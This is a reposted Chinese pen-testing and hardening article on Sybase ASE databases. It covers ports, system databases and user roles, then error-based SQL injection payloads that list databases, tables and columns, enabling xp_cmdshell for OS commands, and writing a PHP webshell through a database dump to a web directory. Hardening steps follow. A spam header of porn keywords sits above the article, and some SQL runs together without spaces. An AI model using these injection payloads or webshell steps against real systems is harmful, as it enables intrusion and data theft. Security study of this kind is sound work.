日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

dbartisan mysql_Sybase数据库安全

發布時間:2025/4/5 数据库 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 dbartisan mysql_Sybase数据库安全 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 Sybase數據庫介紹

簡介

Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise (簡稱ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關系型數據庫系統,是一種典型的UNIX或WindowsNT平臺上客戶機/服務器環境下的大型數據庫系統。它以PowerBuilder為開發工具,以 SAP Sybase SQL Anywhere 為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩定的版本。

創建數據庫的時候要注意存放設備:

服務及端口

開放端口:

備份服務:5001、監控服務:5002、數據庫主服務:5000、存儲過程服務:5004

默認數據庫

Master :系統的核心數據庫,控制服務器的操作以及存儲有關所有用戶數據庫和相關的存儲設備的信息,包括用戶的用戶名和密碼;

Model :模板數據庫,當創建用戶數據庫時,系統根據model數據庫制作副本,并將數據庫的大小擴展到用戶指定的大小。

Systemprocs :保存系統的存儲過程。

Sybsystemdb :關于分布式事務管理功能。

Tempdb :包含臨時表,放置臨時數據。

注冊用戶和數據庫用戶

當SQL SERVER創建注冊用戶后,該用戶就能合法進SQL SERVER,該注冊用戶信息會放在master數據庫中的 syslogins表中。但只有注冊用戶成為某一數據庫用戶,并且對該用戶賦予某些權限時,該注冊用戶才能在限制條件下使用數據庫中的表。

創建注冊用戶:

sp_addlogin?loginame,?passwd?????(刪除即為drop)

創建數據庫用戶:

[dbname..]?sp_adduser?loginame????(此處的loginame?必須是注冊用戶,否則報錯)

分配權限:

grantall|select,insert,delete,update

ontable_name?|?view_name?|?stored_procedure_name

tousername

grantall|createdatabase,create

default,createprocedure,createrule,createtable,createview,setproxy,setsessionauthorization

tousername

數據庫用戶分類

sa用戶、數據庫屬主、數據庫對象屬主和數據庫普通用戶

1)、sa用戶:為系統用戶,擁有全部的權限。

2)、數據庫屬主用戶:數據庫屬主(dbo)用戶可對本數據庫中所有對象(如表、視圖、存儲過程等)進行操作。

3)、數據庫對象屬主:在實際管理中, ,一般為數據庫屬主。

4)、數據庫普通用戶:類似于public,數據庫普通用戶必須在數據庫屬主對本數據庫中某些對象(如表、視圖、進程等)賦予某些權限時,才可對本數據庫中某些對象進行允許的操作。

別名(aliases)與組(group)

1)、別名:所謂別名(aliases)即將SQL SERVER中的注冊用戶以同一個數據庫用戶的身份來訪問數據庫,并具有與該用戶相同的權限。

2)、組(group)為數據庫用戶的集合,即通過對組(group)的權限的控制達到對該組中數據庫用戶的控制,但也可對該組中數據庫某些用戶進行格外的權限控制。

角色

一般在管理分工較細的數據庫系統中,sa用戶往往被分為三種角色:系統管理員角色(SA role)、系統安全員角色(SSO role)、操作員角色(OPER role)。

連接及管理工具

1)、isql

類似于mysql數據庫的的mysql.exe。可連接本地及網絡數據庫。 使用isql –U sa –P “”連接:

所有參數要區分大小寫:

-?顯示 isql 開關的語法摘要。

-L列出在本地配置的服務器和在網絡上廣播的服務器的名稱。

-U login_id用戶登錄 ID。登錄 ID 區分大小寫。

-P password 是用戶指定的密碼。如果未使用-P 選項,isql 將提示輸入密碼。如果在命令提示的末尾使用 -P 選項而不帶密碼,isql 使用默認密碼NULL)。密碼區分大小寫。

-S server_name 指定要連接到的 SQL Server 默認實例。如果未指定服務器,isql 將連接 到本地計算機上的 SQL Server 默認實例。如果要在網絡上從遠程計算機執行 isql,則需要此選項。

-H hostname 是使用的客戶端的主機名稱。

-d use database name,用于指定使用數據庫名

2)、官方Sybase SQL Advantage

缺點:a、隨數據庫完整安裝包一起發布,使用時有版本上的要求。

b、只支持SQL語句,個人覺得就是isql的圖形化版,有所不便。

(Sql.ini設定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

3)、官方Sybase Central

缺點:a、隨數據庫完整安裝包一起發布,使用時有版本上的要求。

b、功能不是很強大

4)、DBArtisan

0x01 Sybase安全

執行系統命令

默認xp_cmdshell是不開啟的。未開啟xp_cmdshell時:

開啟xp_cmdshell : sp_configure 'xp_cmdshell context',0

開啟xp_cmdshell后執行命令:

權限不夠時執行xp_cmdshell:

細節:

1、執行 sp_configure 'xp_cmdshell',0 允許所有含sa_role角色的login用戶執行xp_cmdshell命令,此功能默認關閉

2、默認 sp_configure 'xp_cmdshell',1 經測試需要在windows下具有相同longin用戶名稱和密碼,并且該用戶隸屬administrators權限組,還有一點不能忽略:取消選擇“用戶下次登錄時需更改密碼”!

3、MSSQL由于和windows集成,可以直接使用系統賬戶登錄到數據庫。而Sybase則需要按照上面第二步做配置才能達到和MSSQL類似的效果。

注釋符與聯合查詢

支持union,可以用/ /、--來注釋,可以用/ /來替換空格,也可以用+代替空格,也支持count( ),不過通配符 不能出現在子查詢中。

12.5.2及以前的版本不支持TOP關鍵字,形如select top N from注入語句將報錯

當然,不能用top,肯定會有替代方案,那就是set rowcount N

但是set rowcount N貌似不支持子查詢和條件句:

多句執行

與mssql不同的地方是:多條語句直接以空格分隔,而不是分號。

對編碼的支持

與MSSQL相同:

SQL注入特性

以Php為腳本:

以Java為腳本:

判斷是否是Sybase數據庫:

id=1andexists(select*frommaster.dbo.ijdbc_function_escapes)

以報錯方式注入時要注意,sybase是不支持不同類型數據直接相比較的(與MSSQL不同):

id=1and1=user

id=1?and1=convert(integer,user)

![enter?image?description?here][28]

id=1?and1=convert(integer,(select+@@version))

![enter?image?description?here][29]

id=-1?unionselect1,"",(select@@version)

列庫(復雜版本):

id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>‘?’))

列出***個庫master

id=1and1=convert(integer,(SELECTMIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32)))FROM(SELECTnameFROMmaster..sysdatabases)ASgJyQWHERECONVERT(NVARCHAR(4000),gJyQ.name)>’master‘))

列出除master外的***個庫

列庫(簡單版本):

id=1and1=convert(integer,(SELECTnameFROMmaster..sysdatabaseswheredbid=1))???不斷遞增dbid的值

dbid是連續的數字,猜解起來很容易

PS:雖然Sybase不能用TOP、for xml path,但是支持having、where not in等語法,變化方式依然有多種

與MSSQL不同的一點:

MSSQL是xtype Sybase是type

列表(只能用復雜版):

id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype=‘U’)ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>‘?’))

列出***個表cmd

id=1and1=convert(integer,(selectMIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))from(selectnamefromtest.dbo.sysobjectswheretype=‘U’)ASaaaawhereCONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’))

列出除cmd外的***個表cmd0

列字段:

selectnamefromtest..syscolumnswhereid=object_id(‘users’)andcolid=1?遞增colid

即:

id=1and1=convert(integer,(selectnamefromtest..syscolumnswhereid=object_id('users')andcolid=1))

工具注入:

穿山甲猜不出庫名,抓包發現使用了TOP關鍵字,看來穿山甲只支持12.5.3以后的sybase

備份寫文件(webshell)

前提條件:

1、備份服務打開

2、備份服務允許遠程訪問

3、有數據庫權限(宿主權限)+磁盤寫權限

步驟:

、create table cmd(a image)—

、insert into cmd(a) values ('')—

、dump database test to ‘C:\wamp\www\1.php’ 【全備份】

(對應MSSQL為:backup database 庫名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)

dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG備份】

(對應MSSQL為:backup log 庫名 to disk='d:\www\xxx\test.asp'--)

注:使用dump TRANSACTION時要求數據文件和日志文件不能存放在同一設備中。

、drop table cmd--

加固與防范

口令

sp_password??“原密碼”,?“新密碼”,用戶名

例如將sa用戶的密碼由空改為123456: sp_password NULL,”123456”,sa

sp_configure?“minimumpasswordlength”,8---密碼最短長度

sp_configure?“checkpasswordfordigit”,1---至少包含一個數字

sp_configure?“systemwide?passwordexpiration”,90---口令有效時長

sp_configure?“maximum?failed?logins”,5???---設置口令錯誤鎖定閥值

刪除擴展存儲過程xp_cmdshell, 并刪 除 sybsyesp.dll

execsp_dropextendedproc??xp_cmdshell

關閉sa賬戶的使用:

sp_locklogin?sa,"lock“

關閉遠程訪問:

exec sp_configure “allow remote access” ,0

execsp_configure?“allow?remote?access”?,0

關閉后,很多服務將無法使用,比如備份

登陸IP白名單

系統沒有和登陸相關的限制設置,只能通過創建登錄觸發器來實現登陸IP白名單

createprocedurelogin_trg

as

declare@ipvarchar(18),@login_namevarchar(20)

begin

select

@ip=t.ipaddr,@login_name=suser_name()

frommaster.dbo.sysprocesses?twheret.spid=@@spid

if?@ip<>'192.168.0.102'

begin

raiserror?30000?'IP?address?%1!?,with?user?%2!?login?failed!',@ip,@login_name

selectsyb_quit()

end

else

print?'Welcome!'

end

創建登錄觸發器后,執行如下命令:

isql>grantexecuteonlogin_trgtologinname

isql>sp_modifylogin?loginname,?"login?script",login_trg

日志

isql>execsp_configure"log?audit?logon?failure",1--記錄登錄失敗信息

isql>execsp_configure"log?audit?logon?success",1--記錄登錄成功信息

【編輯推薦】

【責任編輯:honglu TEL:(010)68476606】

點贊 0

總結

以上是生活随笔為你收集整理的dbartisan mysql_Sybase数据库安全的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。